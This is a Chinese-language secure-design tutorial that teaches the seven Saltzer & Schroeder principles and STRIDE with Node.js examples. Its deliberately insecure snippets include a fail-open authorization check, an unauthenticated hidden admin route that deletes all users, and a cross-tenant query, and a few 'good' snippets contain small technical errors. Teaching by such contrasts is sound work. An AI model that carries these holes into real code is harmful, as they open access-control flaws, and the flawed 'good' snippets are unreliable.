這七大原則源自 Saltzer & Schroeder 在 1975 年提出的經典理論,經過近五十年的演進,至今仍是所有安全架構的基石。別被年份嚇到——這些原則就像牛頓力學一樣,基礎到你每天都在用,只是可能沒意識到。
原則一:最小權限(Least Privilege)
蓋房子比喻:水電工只需要進機電室的鑰匙,不需要拿到整棟大樓的萬能鑰匙。
最小權限的意思是:每個使用者、程式、或系統元件,只應該擁有完成其工作所需的最少權限,不多也不少。
為什麼重要?
想像你開了一間公司,每個員工都有金庫密碼、伺服器 root 權限、老闆的信用卡號碼。某天有個實習生的電腦中毒了——恭喜,攻擊者直接拿到你全公司的鑰匙。
台灣實戰場景:電商後台系統
| 角色 | 不好的做法(權限過大) | 好的做法(最小權限) |
|---|---|---|
| 客服人員 | 可以看到所有會員的完整個資和信用卡號 | 只能看到處理中的工單相關會員資訊,信用卡號遮蔽顯示 |
| 行銷人員 | 可以直接 SQL 查詢會員資料庫 | 只能透過報表系統查看匿名化的統計數據 |
| 倉儲人員 | 擁有後台管理員帳號 | 只能操作出貨管理模組,無法進入財務或會員模組 |
| 開發人員 | Production 資料庫有 DELETE 權限 | Production 只有 SELECT 權限,刪除需走申請流程 |
程式碼範例:Node.js 的最小權限實踐
// ❌ 不好的做法:一個萬能 API Key 存取所有服務
const client = new AWS.S3({
accessKeyId: process.env.AWS_MASTER_KEY, // 有全部 S3 權限
secretAccessKey: process.env.AWS_MASTER_SECRET
});
// ✅ 好的做法:每個服務用獨立的 IAM 角色,只給需要的權限
const uploadClient = new AWS.S3({
// 這個角色只能 PutObject 到特定 bucket
// 不能刪除、不能列出其他 bucket、不能修改權限
accessKeyId: process.env.UPLOAD_SERVICE_KEY,
secretAccessKey: process.env.UPLOAD_SERVICE_SECRET
});
// ❌ 不好的做法:資料庫連線用 root
const db = new Pool({
user: 'root', // 可以 DROP DATABASE!
password: process.env.DB_ROOT_PASSWORD
});
// ✅ 好的做法:應用程式用專屬帳號,只開需要的權限
const db = new Pool({
user: 'app_readonly', // 只有 SELECT 權限
password: process.env.DB_APP_PASSWORD
});
// 需要寫入時,用另一個連線
const dbWriter = new Pool({
user: 'app_writer', // 只有 INSERT/UPDATE 權限,沒有 DELETE
password: process.env.DB_WRITER_PASSWORD
});
原則二:縱深防禦(Defense in Depth)
蓋房子比喻:你家不會只裝一道門鎖就安心——你會有大門門鎖、門口監視器、社區保全、室內保險箱。攻擊者要突破每一層才能得逞。
縱深防禦的概念是:不要把所有雞蛋放在同一個籃子裡。你應該設置多層防禦,即使其中一層被突破,後面還有其他層可以擋住攻擊。
為什麼重要?
沒有任何單一安全措施是完美的。WAF 可能被繞過、密碼可能被破解、員工可能被釣魚。縱深防禦確保攻擊者必須連續突破多道關卡才能造成真正的傷害。
台灣實戰場景:線上銀行轉帳功能的縱深防禦
第一層【網路層】 → WAF 過濾惡意請求 + TLS 加密傳輸
第二層【身份驗證】 → 帳號密碼 + 手機 OTP 雙因素驗證
第三層【授權檢查】 → 檢查此帳號是否有轉帳權限 + 單日額度限制
第四層【交易驗證】 → 大額轉帳(> NT$50,000)需額外簡訊確認
第五層【輸入驗證】 → 檢查轉帳金額、帳號格式、防止 SQL Injection
第六層【監控告警】 → 異常轉帳行為即時通知(如深夜大額、新收款帳號)
第七層【稽核日誌】 → 所有交易完整記錄,供事後追查
即使駭客突破了 WAF,他還需要通過雙因素驗證;即使他拿到了密碼,大額轉帳還有額外確認;即使交易真的被執行了,監控系統也會即時告警,稽核日誌能幫助追回損失。
程式碼範例:API 端點的多層防禦
// 縱深防禦的 Express middleware 堆疊
const express = require('express');
const app = express();
// 第一層:速率限制(Rate Limiting)
const rateLimit = require('express-rate-limit');
app.use('/api/', rateLimit({
windowMs: 15 * 60 * 1000, // 15 分鐘
max: 100, // 每個 IP 最多 100 次
message: { error: '請求過於頻繁,請稍後再試' }
}));
// 第二層:輸入驗證
const { body, validationResult } = require('express-validator');
// 第三層:身份驗證(JWT 驗證)
const authenticateToken = require('./middleware/auth');
// 第四層:授權檢查(角色權限)
const authorize = require('./middleware/authorize');
// 第五層:業務邏輯層的額外驗證
app.post('/api/transfer',
body('amount').isFloat({ min: 1, max: 1000000 }), // 輸入驗證
body('toAccount').matches(/^\d{12,16}$/), // 格式檢查
authenticateToken, // 身份驗證
authorize('transfer'), // 授權檢查
async (req, res) => {
// 第六層:業務規則檢查
const errors = validationResult(req);
if (!errors.isEmpty()) {
return res.status(400).json({ errors: errors.array() });
}
const { amount, toAccount } = req.body;
// 檢查單日累計轉帳額度
const dailyTotal = await getDailyTransferTotal(req.user.id);
if (dailyTotal + amount > 500000) {
await logSecurityEvent('TRANSFER_LIMIT_EXCEEDED', req.user.id);
return res.status(403).json({ error: '已超過單日轉帳上限' });
}
// 大額轉帳需 OTP 確認
if (amount > 50000) {
const otpValid = await verifyOTP(req.user.id, req.body.otp);
if (!otpValid) {
return res.status(403).json({ error: '大額轉帳需簡訊驗證' });
}
}
// 第七層:記錄稽核日誌
await auditLog({
action: 'TRANSFER',
userId: req.user.id,
amount,
toAccount: maskAccount(toAccount), // 日誌中遮蔽帳號
ip: req.ip,
timestamp: new Date()
});
// 執行轉帳...
}
);
原則三:預設安全(Secure by Default)
蓋房子比喻:新房子交屋時,門窗應該是「鎖上」的狀態,而不是「敞開」讓住戶自己去鎖。
預設安全的意思是:系統在未經特別設定的情況下,就應該處於安全狀態。使用者需要主動「打開」功能,而不是主動「關閉」風險。
為什麼重要?
大多數使用者(包括開發者)不會去改預設設定。如果你的框架預設開啟 Debug 模式、預設允許所有來源的 CORS、預設不加密 Cookie——那大部分上線的系統都會帶著這些風險。
常見的「預設不安全」 vs.「預設安全」
| 設定項目 | 預設不安全(常見錯誤) | 預設安全(正確做法) |
|---|---|---|
| Debug 模式 | 預設開啟,顯示完整錯誤堆疊 | 預設關閉,只顯示友善錯誤訊息 |
| CORS 設定 | <code>Access-Control-Allow-Origin: *</code> | 只允許特定白名單域名 |
| Cookie | 沒設 <code>HttpOnly</code>、<code>Secure</code>、<code>SameSite</code> | 預設 <code>HttpOnly; Secure; SameSite=Strict</code> |
| 密碼政策 | 無限制,<code>123456</code> 也能過 | 至少 12 碼,含大小寫、數字、特殊符號 |
| 檔案上傳 | 允許所有檔案類型 | 只允許白名單內的類型(jpg, png, pdf) |
| API 回應 | 回傳所有欄位,包含內部 ID 和敏感資訊 | 只回傳必要欄位,過濾敏感資訊 |
| 帳號註冊 | Email 不用驗證即可使用 | 必須通過 Email 驗證才能啟用帳號 |
程式碼範例:Express.js 預設安全配置
const express = require('express');
const helmet = require('helmet');
const cors = require('cors');
const app = express();
// ✅ 預設安全的 HTTP 標頭
app.use(helmet()); // 自動設定多個安全標頭
// ✅ 嚴格的 CORS 白名單
app.use(cors({
origin: ['https://www.myshop.com.tw', 'https://admin.myshop.com.tw'],
methods: ['GET', 'POST'], // 只允許需要的 HTTP 方法
credentials: true
}));
// ✅ 安全的 Cookie 預設值
app.use(require('cookie-session')({
name: 'session',
httpOnly: true, // JavaScript 無法存取
secure: true, // 只透過 HTTPS 傳送
sameSite: 'strict', // 防止 CSRF
maxAge: 30 * 60 * 1000 // 30 分鐘過期
}));
// ✅ 預設關閉 Debug 資訊
if (process.env.NODE_ENV === 'production') {
app.set('trust proxy', 1);
// 錯誤處理不揭露內部資訊
app.use((err, req, res, next) => {
console.error(err.stack); // 只記到伺服器日誌
res.status(500).json({ error: '系統發生錯誤,請稍後再試' });
// 絕不回傳 err.stack 或 err.message 給客戶端
});
}
飛飛觀點:
預設安全的精髓是「懶人也安全」。好的框架和好的設計,應該讓開發者不用刻意做什麼就已經是安全的。需要特別努力的應該是「打開不安全的功能」,而不是「關閉不安全的功能」。
原則四:開放設計(Open Design)
蓋房子比喻:好的保全系統不是因為小偷不知道你裝了什麼牌子的鎖才安全,而是因為鎖本身夠堅固——就算小偷知道廠牌型號,還是打不開。
開放設計原則主張:系統的安全性不應該依賴於設計或實作的保密性(也就是不能靠 "Security through Obscurity")。安全應該來自於良好的設計本身,而非隱藏設計細節。
為什麼重要?
密碼學的 Kerckhoffs 原則早在 1883 年就說過:加密系統的安全性不應該依賴於演算法的保密,而應該依賴於金鑰的保密。同樣的道理,你的系統架構可以被公開審查,安全性來自於金鑰、密碼、Token 等「秘密」的保護,而非隱藏你用了什麼技術。
實際案例
| 不好的做法(靠隱藏) | 好的做法(開放設計) |
|---|---|
| 用自己發明的加密演算法 | 使用公開審查過的 AES-256 |
| API 路徑用亂碼命名(<code>/x7k9m</code>)當作「安全」 | 正常命名(<code>/api/orders</code>)+ 嚴格的認證與授權 |
| 把 Admin 頁面藏在奇怪的 URL 就覺得沒人找得到 | Admin 頁面正常路徑 + 強制登入 + IP 白名單 + MFA |
| 原始碼混淆後就覺得不會被逆向工程 | 即使原始碼被看到,安全機制仍然有效 |
// ❌ Security through Obscurity(靠隱藏的假安全)
// 「把 Admin API 藏在奇怪路徑,應該沒人找得到吧」
app.post('/x7k9m2q/do-admin-stuff', (req, res) => {
// 沒有任何身份驗證...
deleteAllUsers(); // 😱
});
// ✅ Open Design(開放設計的真安全)
// 路徑很明確,但有層層保護
app.post('/api/admin/users/bulk-delete',
authenticateToken, // 驗證身份
authorize('admin'), // 確認是管理員
requireMFA, // 強制多因素驗證
validateIPWhitelist, // IP 白名單
rateLimitAdmin, // 速率限制
auditLog('BULK_DELETE_USERS'), // 稽核記錄
async (req, res) => {
// 即使攻擊者知道這個路徑,也過不了前面的關卡
}
);
原則五:失敗安全(Fail Secure / Fail Safe)
蓋房子比喻:大樓停電時,門禁系統應該讓門保持「鎖上」狀態(除非是消防逃生門),而不是所有門都自動打開。
失敗安全的意思是:當系統發生錯誤、例外、或不預期的狀況時,應該回到安全的狀態,而不是開放的狀態。
為什麼重要?
系統一定會出錯。網路會斷、資料庫會掛、第三方服務會 timeout。關鍵是:出錯的時候,你的系統是「寧可拒絕服務」還是「寧可放行一切」?
台灣實戰場景
| 情境 | 失敗不安全(危險) | 失敗安全(正確) |
|---|---|---|
| 認證伺服器掛了 | 跳過認證,直接放行 | 拒絕所有請求,返回 503 |
| 權限檢查出錯 | 預設給予完整權限 | 預設拒絕存取 |
| 信用卡驗證 timeout | 當作驗證成功,先出貨 | 當作驗證失敗,要求重試 |
| WAF 發生錯誤 | 關閉 WAF,直接放行流量 | 阻擋所有流量,通知維運團隊 |
| 日誌系統滿了 | 停止記錄但繼續服務 | 發出告警,視情況限制服務 |
程式碼範例
// ❌ 失敗不安全:認證服務出錯時放行
async function checkAuthorization(userId, resource) {
try {
const result = await authService.check(userId, resource);
return result.allowed;
} catch (error) {
console.log('Auth service error, allowing access...');
return true; // 😱 出錯就放行!
}
}
// ✅ 失敗安全:出錯時預設拒絕
async function checkAuthorization(userId, resource) {
try {
const result = await authService.check(userId, resource);
return result.allowed;
} catch (error) {
console.error('Auth service error:', error.message);
await alertOpsTeam('AUTH_SERVICE_DOWN', { userId, resource });
return false; // 出錯就拒絕,寧可多擋不可少擋
}
}
// ✅ 進階:加入降級策略
async function checkAuthorization(userId, resource) {
try {
return await authService.check(userId, resource);
} catch (error) {
// 第一層降級:嘗試本地快取
const cachedResult = await localCache.get(<code class="kb-btn">auth:${userId}:${resource}</code>);
if (cachedResult && cachedResult.timestamp > Date.now() - 300000) {
console.warn('Using cached auth result (5 min validity)');
return cachedResult.allowed;
}
// 第二層降級:拒絕並通知
await alertOpsTeam('AUTH_SERVICE_DOWN', { userId, resource });
return false; // 最終還是拒絕
}
}
原則六:完整調解(Complete Mediation)
蓋房子比喻:每次進出大樓都要刷門禁卡,不能因為「剛剛才刷過」就讓人免刷直接進——萬一門禁卡在這之間被偷了呢?
完整調解要求:每一次資源存取都必須經過授權檢查,不能因為之前檢查過就跳過。
為什麼重要?
很多系統只在「第一次請求」時做權限檢查,之後就靠 Session 或快取來放行。但使用者的權限可能在會話期間被變更(例如被降權、被停用),如果沒有每次都檢查,就可能出現「已被停權的帳號還能繼續操作」的情況。
程式碼範例
// ❌ 不好的做法:只在登入時檢查一次角色
app.post('/login', async (req, res) => {
const user = await authenticate(req.body);
const token = jwt.sign({
userId: user.id,
role: user.role // 角色寫死在 Token 裡
}, SECRET, { expiresIn: '24h' });
res.json({ token });
});
// 之後的 24 小時內,即使 user 被降權或停用,
// Token 裡的 role 不會改變...
// ✅ 好的做法:每次請求都重新查詢即時權限
const checkPermission = async (req, res, next) => {
const tokenData = jwt.verify(req.headers.authorization, SECRET);
// 每次都從資料庫查詢最新的角色和狀態
const user = await db.query(
'SELECT role, status FROM users WHERE id = $1',
[tokenData.userId]
);
if (!user || user.status !== 'active') {
return res.status(403).json({ error: '帳號已停用' });
}
// 用即時角色做權限判斷,不是 Token 裡的舊角色
req.user = { id: tokenData.userId, role: user.role };
next();
};
原則七:最小共享機制(Least Common Mechanism)
蓋房子比喻:住戶的信箱應該各自獨立,不應該共用一個大信箱——否則你的信件可能被鄰居拿走。
最小共享機制的原則是:不同使用者或不同模組之間,應該盡量減少共享的資源和機制。共享的東西越多,一個環節出問題影響的範圍就越大。
為什麼重要?
共享資源是安全事件的放大器。如果所有微服務共用同一組資料庫帳號,其中一個服務被入侵,攻擊者就拿到了所有服務的資料。如果所有租戶的資料放在同一張表,一個 SQL Injection 就可能洩漏所有租戶的資料。
台灣實戰場景:SaaS 平台的多租戶隔離
// ❌ 不好的做法:所有租戶共用一張表,靠 tenant_id 欄位區分
// 萬一有一個查詢忘了加 WHERE tenant_id = ?,就是全部外洩
app.get('/api/orders', async (req, res) => {
// 開發者可能忘記加 tenant 過濾...
const orders = await db.query('SELECT * FROM orders'); // 😱 全租戶資料外洩
res.json(orders);
});
// ✅ 好的做法:每個租戶用獨立的 Schema 或資料庫
app.get('/api/orders', async (req, res) => {
const tenantDb = getTenantConnection(req.tenant.id);
// 即使忘了加過濾條件,也只能查到該租戶自己的資料
const orders = await tenantDb.query('SELECT * FROM orders');
res.json(orders);
});
// ✅ 如果必須共用資料表,用 Row-Level Security(RLS)作為安全網
// PostgreSQL RLS 設定範例
/*
CREATE POLICY tenant_isolation ON orders
USING (tenant_id = current_setting('app.current_tenant')::uuid);
ALTER TABLE orders ENABLE ROW LEVEL SECURITY;
*/
// 每次查詢前設定 tenant context
app.use(async (req, res, next) => {
await db.query(
"SET app.current_tenant = $1",
[req.tenant.id]
);
next();
});
三、七大原則速查表
| 原則 | 一句話解釋 | 蓋房子比喻 | 最常見的違反情境 |
|---|---|---|---|
| 最小權限 | 只給剛剛好的權限 | 水電工不需要萬能鑰匙 | 所有服務用同一個 root 帳號 |
| 縱深防禦 | 多層防禦,不靠單一措施 | 門鎖 + 監視器 + 保全 + 保險箱 | 只靠 WAF 就覺得安全了 |
| 預設安全 | 出廠就是安全的 | 新房子交屋門窗是鎖的 | Debug 模式預設開啟上線 |
| 開放設計 | 安全不靠隱藏 | 好鎖不怕你知道廠牌 | 用自創加密演算法 |
| 失敗安全 | 出錯時回到安全狀態 | 停電時門保持上鎖 | 認證服務掛了就跳過驗證 |
| 完整調解 | 每次存取都要檢查 | 每次進大樓都要刷卡 | 權限寫死在 Token 裡不更新 |
| 最小共享 | 減少共用資源 | 住戶信箱各自獨立 | 所有租戶共用一組 DB 帳號 |
四、實戰案例:用七大原則設計台灣線上訂餐平台
讓我們用一個完整的案例,示範如何在設計階段就把七大原則融入系統架構。
場景描述
你的團隊要為一間連鎖餐飲集團設計線上訂餐平台,功能包含:顧客瀏覽菜單與下單、店家管理訂單與菜單、外送員接單與回報配送狀態、總部查看營運報表。
套用七大原則
1. 最小權限 → 角色與權限設計
顧客: 瀏覽菜單(R) + 建立訂單(C) + 查看自己的訂單(R)
店家: 管理自家菜單(CRUD) + 查看自家訂單(R) + 更新訂單狀態(U)
外送員: 查看待接訂單(R) + 更新配送狀態(U)
總部: 查看報表(R) + 管理店家帳號(CRUD)
❌ 店家不能看到其他店的訂單
❌ 外送員不能修改訂單金額
❌ 總部不能直接操作訂單
2. 縱深防禦 → 訂單流程的多層保護
【下單】 → 前端輸入驗證 → API Gateway 速率限制 → JWT 身份驗證
→ 後端輸入驗證 → 庫存檢查 → 價格伺服器端計算(不信任前端金額)
→ 金流驗證 → 訂單寫入 → 稽核日誌
3. 預設安全 → 系統出廠設定
// 新開的店家帳號,預設功能是限縮的
const DEFAULT_STORE_CONFIG = {
maxOrderPerHour: 50, // 預設限制每小時訂單量
allowCashOnDelivery: false, // 預設不開放貨到付款(風險較高)
autoAcceptOrder: false, // 預設需手動接單
apiRateLimit: 100, // API 每分鐘上限
allowBulkExport: false // 預設不允許批量匯出顧客資料
};
// 需要的功能,由總部審核後逐一開啟
4. 開放設計 → 不靠隱藏保安全
✅ API 文件公開(Swagger/OpenAPI),但每個端點都有認證
✅ 使用標準加密(AES-256, bcrypt),不自創演算法
✅ 即使競爭對手看到 API 規格,也無法繞過認證機制
5. 失敗安全 → 金流異常處理
async function processPayment(order) {
try {
const result = await paymentGateway.charge(order.amount);
if (result.status === 'success') {
await updateOrderStatus(order.id, 'PAID');
return { success: true };
}
} catch (error) {
// 金流異常 → 訂單保持「未付款」,不會出餐
await updateOrderStatus(order.id, 'PAYMENT_FAILED');
await notifyCustomer(order.customerId, '付款失敗,請重試');
await logPaymentError(order.id, error);
return { success: false, error: '付款處理失敗' };
// 絕不在金流失敗時當作成功
}
}
6. 完整調解 → 每次 API 呼叫都驗證
// 中介軟體:每個請求都查即時權限
app.use('/api/store/:storeId/*', async (req, res, next) => {
const user = await getCurrentUser(req);
// 即時查詢:這個人現在是否仍有權限操作這間店?
const hasAccess = await db.query(
`SELECT 1 FROM store_members
WHERE user_id = $1 AND store_id = $2 AND status = 'active'`,
[user.id, req.params.storeId]
);
if (!hasAccess) {
return res.status(403).json({ error: '無權存取此店家資料' });
}
next();
});
7. 最小共享 → 店家資料隔離
// 每間店家的訂單、菜單、顧客資料都用 store_id 嚴格隔離
// 搭配 PostgreSQL RLS,即使程式碼有 bug 也不會跨店洩漏
/*
CREATE POLICY store_isolation ON orders
USING (store_id = current_setting('app.current_store')::uuid);
*/
五、安全設計審查 Checklist
設計完系統架構後,用這份 Checklist 確認七大原則是否都有照顧到:
## 安全設計原則審查 Checklist
### 最小權限
- [ ] 每個角色的權限是否有明確定義?
- [ ] 是否存在「萬能帳號」或「共用帳號」?
- [ ] 服務間的 API Key 是否各自獨立、權限最小化?
- [ ] 資料庫帳號是否依讀/寫分離?
### 縱深防禦
- [ ] 從使用者到資料庫,是否有至少三層以上的安全檢查?
- [ ] 如果其中一層被突破,是否還有其他層能擋住?
- [ ] 是否有監控和告警機制作為最後一道防線?
### 預設安全
- [ ] 系統預設設定是否已是安全狀態?
- [ ] Debug 模式、詳細錯誤訊息是否在 Production 確認關閉?
- [ ] Cookie、CORS、HTTP 標頭的預設值是否安全?
### 開放設計
- [ ] 安全機制是否不依賴隱藏路徑或自創演算法?
- [ ] 即使攻擊者知道系統架構,安全機制是否仍然有效?
### 失敗安全
- [ ] 認證/授權服務失敗時,系統是否預設拒絕?
- [ ] 金流/支付異常時,是否回到安全狀態(不出貨、不扣款)?
- [ ] 外部服務 timeout 時,是否有合理的降級策略?
### 完整調解
- [ ] 每次 API 呼叫是否都有即時的權限檢查?
- [ ] 使用者被停權後,現有的 Session/Token 是否會失效?
### 最小共享
- [ ] 不同租戶/使用者的資料是否有適當隔離?
- [ ] 不同服務是否使用各自獨立的帳號和權限?
- [ ] 是否有機制防止跨租戶的資料存取?
六、團隊落地建議
建議一:在設計文件中加入「安全設計決策紀錄」
每次做架構設計時,在設計文件中加一個段落,記錄你應用了哪些安全設計原則,以及為什麼這樣設計。
## 安全設計決策
### 決策 1:訂單查詢 API 採用即時權限檢查(完整調解原則)
- **決策**:每次查詢訂單都從 DB 即時查詢權限,不用 Token 中的靜態角色
- **原因**:店長可能臨時被撤換,需要即時生效
- **代價**:每次 API 呼叫多一次 DB 查詢
- **緩解**:用 Redis 快取權限,TTL 5 分鐘
### 決策 2:金流失敗時訂單保持未確認狀態(失敗安全原則)
- **決策**:付款 API 任何非成功回應,訂單都回到「未付款」
- **原因**:寧可少出一張單,也不能多出一張沒付錢的單
- **代價**:可能有少數正常交易被誤判為失敗
- **緩解**:提供顧客手動重試付款的功能
建議二:用 Threat Model 驅動設計原則的選擇
上一篇學的 STRIDE 威脅建模,和這一篇的設計原則是互補的:
| STRIDE 威脅 | 最相關的設計原則 |
|---|---|
| Spoofing(假冒) | 完整調解、失敗安全 |
| Tampering(竄改) | 縱深防禦、完整調解 |
| Repudiation(否認) | 完整調解(稽核日誌) |
| Information Disclosure(洩露) | 最小權限、最小共享 |
| Denial of Service(阻斷服務) | 縱深防禦、失敗安全 |
| Elevation of Privilege(提權) | 最小權限、預設安全 |
建議三:每個 Sprint 挑一個原則深化
不需要一次把七個原則全部做到滿分。建議每個 Sprint 挑一個原則作為重點:
Sprint 1:盤點所有帳號權限,落實最小權限
Sprint 2:檢查所有 catch 區塊,確保失敗安全
Sprint 3:審查所有預設設定,確保預設安全
Sprint 4:檢查 API 權限檢查是否有遺漏(完整調解)
...
逐步改善,比一次到位更務實。
七、常見問題 FAQ
Q1:七大原則之間會不會互相衝突?
會的,而且很常見。例如「完整調解」要求每次都做權限檢查,但太頻繁的檢查會影響效能,這跟使用者體驗的需求衝突。又例如「最小共享」建議資源隔離,但隔離越徹底,基礎設施成本越高。
安全設計的藝術就在於取捨(trade-off)。關鍵是:把取捨記錄下來,讓團隊理解「我們為什麼這樣選」。用上面提到的「安全設計決策紀錄」來追蹤每個決策的原因和代價。
Q2:我們是小團隊,哪些原則應該優先?
如果你的團隊資源有限,建議優先落實這三個:
- 預設安全:成本最低,效果最大。確保框架和工具的預設設定是安全的,一勞永逸。
- 最小權限:花一個下午盤點帳號權限,把過大的權限收回來。
- 失敗安全:檢查所有 <code>catch</code> 和 <code>else</code> 分支,確保異常時不會開後門。
這三個做好,已經能擋住大部分常見攻擊了。
Q3:這些原則跟 OWASP Top 10 有什麼關係?
OWASP Top 10 列的是「常見的漏洞類型」,安全設計原則是「預防漏洞的設計哲學」。它們的關係是:如果你在設計階段就遵循這些原則,很多 OWASP Top 10 的漏洞根本不會出現。
例如:遵循「最小權限」可以預防 A01:2021 — Broken Access Control(權限控制失效);遵循「預設安全」可以預防 A05:2021 — Security Misconfiguration(安全設定錯誤);遵循「失敗安全」可以預防 A07:2021 — Identification and Authentication Failures(認證失效)的部分情境。
Q4:我要怎麼說服 PM 或老闆投入時間在安全設計上?
用錢說話。IBM 的研究顯示,在設計階段修復安全問題的成本,只有上線後的 1/30 到 1/100。你可以用這個方式呈現:
「我們現在花 2 天做安全設計審查,等於省下上線後 2 個月的修補工作。你選哪個?」
另外,如果你的客戶是金融業或上市櫃公司,「資通安全管控指引」已經要求系統開發需求規格須納入資安要求——這不是你想不想做,而是客戶要求你必須做。
八、結語:好的設計,讓安全變成自然而然的事
回到蓋房子的比喻。你見過哪棟安全的建築,是蓋好之後才在外面綁一堆鐵絲網和沙袋的?真正安全的建築,安全就在結構裡——承重牆的位置、逃生梯的動線、防火區劃的規劃,這些都是在藍圖階段就決定的。
軟體系統也是一樣。七大安全設計原則不是「額外要做的事」,而是「設計時本來就該想的事」。當你養成用這些原則思考的習慣,你會發現很多安全問題在設計階段就被自然地避免了——根本不需要等到測試或上線才來亡羊補牢。
就像前幾篇一直在說的:安全不是恐懼,而是創造的基礎。好的安全設計不會限制你的創造力,反而會給你一個穩固的平台,讓你可以放心地在上面蓋出更大、更好、更有價值的東西。
下一篇,我們會繼續深入安全設計階段的另一個重要主題——認證與授權架構設計:從密碼到 Zero Trust。在你掌握了設計原則之後,我們來看看如何設計一個「確認你是誰」和「決定你能做什麼」的系統。
延伸閱讀
[安全設計] 001 威脅建模入門:用 STRIDE 找出系統弱點|DFD 資料流程圖與信任邊界實戰教學
「好的建築師不只想像住戶怎麼生活,也會想像小偷怎麼闖入。」— SSDLC by 飛飛
在 SSDLC 的旅程中,我們已經走過了「階段一:安全需求定義」,學會了怎麼用 Abuse Case 和安全驗收標準來定義「系統該防什麼」。現在,我們要進入階段二:安全設計——在畫建築藍圖的時候,就把消防通道、監視器位置、保全系統標清楚。
而安全設計的第一步,就是威脅建模(Threat Modeling)。
威脅建模是什麼?簡單說,就是在系統還沒蓋好之前,先用攻擊者的眼光把整個設計看一遍,找出哪裡可能被攻擊、哪裡最脆弱、哪裡需要加強防護。
今天要介紹的 STRIDE,是微軟在 1999 年提出的威脅分類模型,也是目前業界最廣泛使用的威脅建模方法之一。它用六個英文字母,幫你系統化地思考所有可能的威脅類型。
為什麼需要威脅建模?不做會怎樣?
先說一個真實場景。
假設你正在開發一個台灣的線上訂餐平台。功能需求很清楚:使用者可以瀏覽餐廳、下訂單、線上付款、追蹤外送進度。你的團隊很認真地寫了使用者故事、做了 UI 設計、選好了技術架構。
然後上線了。
三個月後,有人發現:
- 改一下 URL 裡的訂單編號,就能看到別人的訂單明細(包含地址和電話)
- 外送員的 API 沒有做權限檢查,任何人都能呼叫「標記已送達」
- 付款完成的通知用 HTTP 而不是 HTTPS,中間人可以攔截並偽造付款結果
這些問題,不是「程式寫錯」,而是設計階段就沒想到。
飛飛觀點:
威脅建模不是在找 bug,而是在找「設計盲點」。Bug 是寫錯了,盲點是根本沒想到。修 bug 改幾行程式碼就好,修盲點可能要改整個架構。這就是為什麼威脅建模要在設計階段做——越早發現,修復成本越低。
如果用蓋房子的比喻:功能設計是決定「房間怎麼隔」,威脅建模是檢查「小偷從哪裡進來」。你不會等房子蓋好才想「咦,一樓窗戶是不是該裝鐵窗」,對吧?
STRIDE 是什麼?六個字母,六種威脅
STRIDE 是六種威脅類型的首字母縮寫,每一個字母代表攻擊者可能做的一類壞事:
| 字母 | 威脅類型 | 英文全名 | 一句話解釋 | 生活比喻 |
|---|---|---|---|---|
| S | 身分冒用 | Spoofing | 假裝是別人 | 有人拿假身分證冒充你去銀行領錢 |
| T | 資料竄改 | Tampering | 偷偷修改資料 | 有人改了你的考卷答案 |
| R | 否認行為 | Repudiation | 做了壞事卻說「不是我」 | 鄰居偷倒垃圾卻說「我沒有」,而且沒監視器能證明 |
| I | 資訊洩露 | Information Disclosure | 看到不該看的資料 | 有人翻了你的日記 |
| D | 阻斷服務 | Denial of Service | 讓系統無法正常運作 | 有人故意堵住餐廳門口,讓客人進不來 |
| E | 權限提升 | Elevation of Privilege | 用低權限做高權限的事 | 實習生拿到總經理的辦公室鑰匙 |
這六種威脅基本上涵蓋了大部分的攻擊模式。讓我們用前面的訂餐平台,逐一看看每種威脅長什麼樣子。
S — Spoofing 身分冒用:「你確定他是他嗎?」
攻擊情境:攻擊者偽造或竊取使用者的身分,以該使用者的名義進行操作。
訂餐平台範例:
- 攻擊者取得某使用者的 JWT Token,冒充該使用者下訂單並用其儲存的信用卡付款
- 攻擊者架設一個假的「訂餐平台登入頁」(釣魚網站),騙使用者輸入帳號密碼
- 外送員用別人的帳號登入,領取不屬於自己的配送任務
對應的安全屬性:認證(Authentication)
防禦方向:多因素驗證(MFA)、Token 過期與刷新機制、防止 Session Fixation
T — Tampering 資料竄改:「資料還是原本的嗎?」
攻擊情境:攻擊者在傳輸途中或儲存端修改資料。
訂餐平台範例:
- 攻擊者攔截訂單請求,將金額從 NT$350 改成 NT$1
- 攻擊者修改外送地址,把餐點送到自己家
- 攻擊者竄改資料庫中的評價紀錄,將一星評價改成五星
對應的安全屬性:完整性(Integrity)
防禦方向:HTTPS 傳輸加密、數位簽章、資料庫寫入稽核、請求參數伺服器端驗證
R — Repudiation 否認行為:「你能證明是他做的嗎?」
攻擊情境:使用者或攻擊者否認自己曾經執行過某項操作,而系統無法提供證據。
訂餐平台範例:
- 消費者下了訂單又退貨,聲稱「我從來沒下過這筆訂單」
- 餐廳老闆收到客訴,卻說「我們沒有收到那張訂單」
- 外送員宣稱已送達,但消費者說沒收到,而系統沒有送達時的 GPS 紀錄或照片
對應的安全屬性:不可否認性(Non-repudiation)
防禦方向:完整的操作日誌(Audit Log)、時間戳記、數位簽章、關鍵操作需要二次確認
I — Information Disclosure 資訊洩露:「這些資料你該看嗎?」
攻擊情境:未經授權的人取得敏感資訊。
訂餐平台範例:
- 改 URL 中的訂單 ID 就能看到別人的訂單,包含姓名、電話、地址
- API 錯誤回應中洩漏資料庫結構(如:<code>ERROR: column "user_password" does not exist</code>)
- 外送員的 API 回傳了消費者的完整信用卡號碼(應該只顯示後四碼)
對應的安全屬性:機密性(Confidentiality)
防禦方向:存取控制(確認資料所有權)、敏感資料遮罩、錯誤訊息統一化、最小化 API 回應欄位
D — Denial of Service 阻斷服務:「系統還活著嗎?」
攻擊情境:攻擊者讓系統無法正常服務合法使用者。
訂餐平台範例:
- 攻擊者用自動化腳本在用餐尖峰時段發送數萬筆假訂單,癱瘓訂單處理系統
- 攻擊者對搜尋功能發送超複雜的查詢條件,拖慢資料庫回應時間
- 攻擊者反覆呼叫「忘記密碼」功能,導致簡訊服務費用暴增(經濟型 DoS)
對應的安全屬性:可用性(Availability)
防禦方向:Rate Limiting、Request 大小限制、佇列機制、CDN 與 DDoS 防護、費用告警
E — Elevation of Privilege 權限提升:「你有權限做這件事嗎?」
攻擊情境:攻擊者從低權限角色獲取高權限操作能力。
訂餐平台範例:
- 一般使用者透過修改 API 請求參數,將自己的角色從 <code>customer</code> 改為 <code>admin</code>
- 外送員帳號透過 API 直接存取後台管理介面,修改餐廳資訊
- 攻擊者利用 Node.js 的 Prototype Pollution 漏洞,注入 <code>isAdmin: true</code> 屬性
對應的安全屬性:授權(Authorization)
防禦方向:伺服器端權限檢查(不信任前端傳來的角色)、RBAC 權限模型、輸入物件白名單驗證
飛飛觀點:
